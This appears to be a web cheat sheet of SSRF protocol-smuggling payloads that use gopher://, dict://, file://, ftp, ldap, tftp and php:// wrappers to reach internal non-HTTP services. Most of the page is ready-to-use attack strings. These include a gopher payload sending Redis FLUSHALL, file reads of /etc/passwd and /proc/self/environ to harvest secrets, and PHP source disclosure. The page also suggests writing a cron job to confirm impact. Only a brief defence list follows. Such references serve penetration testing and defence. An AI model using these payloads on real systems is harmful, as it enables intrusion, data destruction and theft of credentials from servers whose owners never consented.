Gopher, dict & file Protocol SSRF Payloads
Protocol-smuggling SSRF payloads: gopher:// to Redis/Memcached/SMTP, dict:// banner grabs, file:// local read, plus ftp/ldap/tftp/php wrappers — for reaching internal non-HTTP services.
When you can swap the URL scheme, SSRF stops being about internal HTTP and becomes about reaching internal anything. gopher:// writes arbitrary bytes to a TCP socket, so you can speak Redis, Memcached or SMTP through the vulnerable server.
These apply when the fetcher honours non-HTTP schemes (many curl-backed fetchers, PDF/SVG renderers and URL libraries do). file:// turns SSRF into arbitrary file read.
Every byte in a gopher payload must be URL-encoded, including the CRLFs between commands, and the leading _ after the port matters because gopher eats the first character. Confirm effects with an out-of-band listener or a side effect (e.g. a written cron job).
Scheme / wrapper payloads
Host 127.0.0.1 shown — point at any internal host:port.
gopher://127.0.0.1:80/_Gopher — send arbitrary bytes to a TCP service (append URL-encoded payload after /_)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0AsetGopher → Redis: example SET command (URL-encode CRLF as %0D%0A)
dict://127.0.0.1:80/infoDict — banner grab / interact with line-based services
dict://127.0.0.1:6379/infoDict → Redis INFO
file:///etc/passwdFile scheme — local file read
file:///proc/self/environFile scheme — process environment (secrets/tokens)
file:///c:/windows/win.iniFile scheme — Windows file read
ftp://127.0.0.1:80/FTP scheme — internal FTP / port probing
ldap://127.0.0.1:389/LDAP scheme — internal directory services
tftp://127.0.0.1:69/testTFTP scheme
http://127.0.0.1:80/Plain HTTP to the resolved host:port
php://filter/convert.base64-encode/resource=index.phpPHP wrapper — base64 source disclosure (when target is a PHP fetcher)
Defense
- Allow only the schemes you need — restricting to http/https kills gopher, dict and file in one move.
- Resolve-and-pin the target and reject internal/reserved IPs on every hop.
- Run internal services (Redis, Memcached) with auth and bound to interfaces the app host can't reach.
- Egress-filter the fetcher so a bypass still hits a network wall.